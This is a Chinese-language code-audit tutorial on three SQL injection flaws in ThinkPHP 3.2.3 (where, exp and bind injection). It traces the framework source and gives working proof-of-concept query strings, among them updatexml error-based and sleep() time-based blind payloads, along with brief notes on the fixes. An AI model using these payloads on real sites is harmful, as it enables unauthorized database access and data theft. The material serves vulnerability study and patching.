从thinkphp教你学会sql注入代码审计(全)
where注入
环境搭建
去下载3.2.3的源码,然后去配置数据库
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
然后访问 http://php.local/thinkphp3.2.3/ 会自动生成模块,当前目录结构
Application/Home/Controller/IndexController.class.php
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
数据库设置
调试分析
我们先使用最常规的1'来测试
发现直接是返回了我们的第一条数据???为什么不报错,我们跟踪一波代码
$data = M('users')->find(I('GET.id'));
在这下断点,先执行I方法,我们看到I方法
首先就是解析我们的输入
以点分割,判断我们是哪种请求,然后给我们input赋值,也就是我们的输入
然后获取我们的filter
$filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
获取的是默认的filter,全局搜索发现默认的过滤方法是 htmlspecialchars,对输入进行了过滤
is_array($data) && array_walk_recursive($data, 'think_filter');
然后调用我们的回调函数,我们的data作为对象,调用think_filter函数
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
就是对我们的sql注入的一些过滤,现在确实不明白过滤这些的意义是什么
但是如果你学习了exp注入,获取会明白我们的原因
然后就是直接return,来到我们的find函数
先检查我们的输入是哪种类型
因为这里我们是string,所以进入下面的操作
$options= array();
$options['where']= $where;
把$options转为数组,并且给where赋值,来到
$options = $this->_parseOptions($options);
进入_parseOptions方法,看名字,解析我们的options
先为我们的一些属性赋值
然后进行字段类型的验证
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key => $val) {
$key = trim($key);
if (in_array($key, $fields, true)) {
if (is_scalar($val)) {
$this->_parseType($options['where'], $key);
}
符合判断进入_parseType方法
protected function _parseType(&$data, $key)
{
if (!isset($this->options['bind'][':' . $key]) && isset($this->fields['_type'][$key])) {
$fieldType = strtolower($this->fields['_type'][$key]);
if (false !== strpos($fieldType, 'enum')) {
// 支持ENUM类型优先检测
} elseif (false === strpos($fieldType, 'bigint') && false !== strpos($fieldType, 'int')) {
$data[$key] = intval($data[$key]);
} elseif (false !== strpos($fieldType, 'float') || false !== strpos($fieldType, 'double')) {
$data[$key] = floatval($data[$key]);
} elseif (false !== strpos($fieldType, 'bool')) {
$data[$key] = (bool) $data[$key];
}
}
}
对我们的属性进行解析,我们的where被解析为int,然后使用$data[$key] = intval($data[$key]);
解析
导致我们输入的1'解析为了1
之后就是进行select查询操作了
所以利用链如下 :
id=1' -> I() -> find() -> _parseOptions() -> _parseType()->select()
分析写入poc
导致我们不能注入的原因在于我们输入的被检查type的时候解析了,但是我们要进入这个解析的前提是要经过if判断
首先第一个是我们必须满足的,因为没有where,sql语句都构造不了,然后第三个第四个是固定的,也不能改变,那只有我们的对where是不是数组来修改了,我们看看代码,为什么where变成数组了
关键在
public function find($options = array())
{
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
经过这些之后我们的where就变成数组了,所以我们可不可以不经过这个步骤呢?
if (is_numeric($options) || is_string($options))
我们如果直接传入id[where]=1' 发现再次到我们那个地方的时候,就已经不是一个数组了
所以就不会经过我们那个步骤
所以这就是我们where注入的原理
我们的poc
?id[where]=正常的sql语句
用得最多的是报错注入,但是由于tp开了debug模式才会有报错,所以我们可以利用时间盲注
对于漏洞修复的思考
对于这个修复,说实话我很难理解是怎么实现修复的,只能去看别人的解释,首先造成我们漏洞原因就是用户的输入被带到了危险执行的地方,在我们这里,option就是相当于用户的输入,我们可以控制,而获取我们的sql语句的时候,也是根据option来控制的,而这个修复的话,其实就是要我们理解一下
$this->options和options的区别
你可以理解为他们作用域不一样,一个是在当前对象的,一个是全局对象的
你对比原图,这样的话,我们传入的where是不能够传入到当前对象的where之中的
将$options和$this->options进行了区分,从而传入的参数无法污染到$this->options,也就无法控制sql语句了。
thinkphp 3.2.3 exp注入
环境搭建
只需要修改
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$id = $_GET['id'];
//$id = I('id');//用I()方法获取参数避免该注入,原因后面解释
$data = M('users')->where(array('id'=>$id))->find();
var_dump($data);
}
}
调试分析写poc
看到我们上面的代码,在data那个地方下断点
首先数组会传递给 where 我们进行一个跟进
where方法就是把我们的输入传递给$this->options['where'] , 然后直接返回了整个对象
然后来到我们的find方法,不做分析了,反正给select传入的是一个$options
$resultSet = $this->db->select($options);
我们主要关注我们的where
然后进入select方法
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false);
return $result;
}
然后会涉及到构建sql语句buildSelectSql,为什么我们要关注这个方法?因为我们可控的只有$options,我们需要把它作为我们的参数
$sql = $this->parseSql($this->selectSql, $options);
然后又会进入到parseSql
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
empty($options['where']) ? $options['where'] : ''),
), $sql);
return $sql;
}
当然代码还解析了很多东西,我删减了,因为我们只需要关注对where的解析
这个方法我们关注最后return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
返回的是一个wherestr,我们只需要找和这个相关的代码
有很多判断,因为我们的where没有经过特殊的操作
进入$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
parseKey($key)就是对我们的key解析,还是id,然后传入我们的val,就是我们的where
进入我们的parseWhereItem方法
还是先看这个方法返回的是什么return $whereStr;
那我们就去找相关的代码
还是我们说的那样,找自己可以控制的,这里有许多的if对我们exp进行判断
protected function parseWhereItem($key, $val)
{
$whereStr = '';
if (is_array($val)) {
if (is_string($val[0])) {
$exp = strtolower($val[0]);
if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
// 比较运算
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
} elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
if (is_array($val[1])) {
$likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
$like = array();
foreach ($val[1] as $item) {
$like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
}
$whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
}
} else {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
}
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
} elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
// IN 运算
if (isset($val[2]) && 'exp' == $val[2]) {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $val[1];
} else {
if (is_string($val[1])) {
$val[1] = explode(',', $val[1]);
}
$zone = implode(',', $this->parseValue($val[1]));
$whereStr .= $key . ' ' . $this->exp[$exp] . ' (' . $zone . ')';
}
} elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
// BETWEEN运算
$data = is_string($val[1]) ? explode(',', $val[1]) : $val[1];
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($data[0]) . ' AND ' . $this->parseValue($data[1]);
} else {
E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
}
} else {
$count = count($val);
$rule = isset($val[$count - 1]) ? (is_array($val[$count - 1]) ? strtoupper($val[$count - 1][0]) : strtoupper($val[$count - 1])) : '';
if (in_array($rule, array('AND', 'OR', 'XOR'))) {
$count = $count - 1;
} else {
$rule = 'AND';
}
for ($i = 0; $i < $count; $i++) {
$data = is_array($val[$i]) ? $val[$i][1] : $val[$i];
if ('exp' == strtolower($val[$i][0])) {
$whereStr .= $key . ' ' . $data . ' ' . $rule . ' ';
} else {
$whereStr .= $this->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ';
}
}
$whereStr = '( ' . substr($whereStr, 0, -4) . ' )';
}
} else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if ($likeFields && preg_match('/^(' . $likeFields . ')$/i', $key)) {
$whereStr .= $key . ' LIKE ' . $this->parseValue('%' . $val . '%');
} else {
$whereStr .= $key . ' = ' . $this->parseValue($val);
}
}
return $whereStr;
}
而exp是我们的val0是可以控制的,那我们找一下有没有可以控制返回的str的地方
lseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
只有两个变量,其中$val[1]可以控制
我们现在了解一下这个str是干嘛的,发现就是我们的sql语句的一部分
那不就是可以控制sql语句了吗
所以我们的poc为
?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
同样的如果没有开启debug模式也可以用时间盲注
?id[0]=exp&id[1]== and (select 1 from(select sleep(2))x)
注意有两个等号,需要自己拼接一个
对于漏洞修复的思考
我们回忆一下,这个漏洞关键是我们exp可控,导致我们在build我们sql语句的时候,可以根据对exp的控制,满足我们的if条件控制我们的sql语句,当然我们看到还有许许多多的解析,那他们能利用吗?
答案是很难,因为我们观察sql语句的时候发现sql语句其实主要就是取决于我们的where内容
而exp是控制我们where的主要因素,所以才会找到它
修复的话,使用I函数就好了,因为在I函数中,会对输入有一个这样的过滤
直接把我们的exp过滤了
bind注入
环境搭建
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$User = M('users');
$user['id'] = I('id');
$data['age'] = I('age');
$value = $User->where($user)->save($data);
var_dump($value);
}
}
调试分析写出poc
上面的分析给我们这次解析引来了思路
我们不妨思考一下,漏洞其实是出现在我们sql语句的构造过程,我们回到拼接where的地方
其实这个语句也是很像能够控制的,但是它中间多出来的:0很难受
下面慢慢分析
我们已经知道了出口,关键是怎么控制我们的输入,能够达到我们控制bind
where方法就是进行一个值的传递$this->options['where'] = $where;
对我们的option赋值
但是还是为null
然后进入save方法,它和其他方法一样的,还是会解析我们的options,通过_parseOptions方法对我们的
$options = array_merge($this->options, $options);
成功赋值
还是一样的,我们这个函数返回的是result,我们就找哪里赋值的
$result = $this->db->update($data, $options);
跟进update方法
public function update($data, $options)
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if (strpos($table, ',')) {
// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
if (!strpos($table, ',')) {
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
$sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}
可以看到我们的parseWhere方法,这里就不说了,上面分析了,还是这个问题得到的语句是
UPDATE `users` SET `age`=:0 WHERE `id` = :0 and (updatexml(1,concat(0x7e,user(),0x7e),1))
这个:0是怎么除掉的
关键是在我们的return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
内部会对我们的sql语句进行一个str替换,为什么要替换我也没有明白
就导致了sql注入
修复
这个修复就很简单了,在I加一个bind就好了